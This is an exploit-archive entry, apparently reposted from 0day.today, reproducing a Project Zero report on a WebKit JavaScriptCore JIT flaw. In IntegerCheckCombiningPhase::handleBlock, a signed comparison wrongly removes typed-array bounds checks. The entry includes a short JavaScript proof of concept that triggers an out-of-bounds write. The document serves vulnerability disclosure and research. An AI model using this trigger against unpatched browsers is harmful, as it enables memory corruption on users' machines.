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WebKit JSC - JIT Optimization Check Failed in IntegerCheckCombiningPhase::handleBlock Exploit
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<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1220 When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock. For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain. function f() { let arr = new Uint32Array(10); for (let i = 0; i < 0x100000; i++) { parseInt(); } arr[8] = 1; arr[5] = 2; arr[2] = 3; } f(); Note: parseInt is for forcing to start the JIT optimization. Here's a snippet IntegerCheckCombiningPhase::handleBlock. void handleBlock(BlockIndex blockIndex) { ... if (range.m_count) { if (data.m_addend > range.m_maxBound) { range.m_maxBound = data.m_addend; range.m_maxOrigin = node->origin.semantic; } else if (data.m_addend < range.m_minBound) { range.m_minBound = data.m_addend; range.m_minOrigin = node->origin.semantic; } ... } The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison. PoC: --> function f() { let arr = new Uint32Array(10); for (let i = 0; i < 0x100000; i++) { parseInt(); } arr[8] = 1; arr[-0x12345678] = 2; } f(); # 0day.today [2024-12-25] #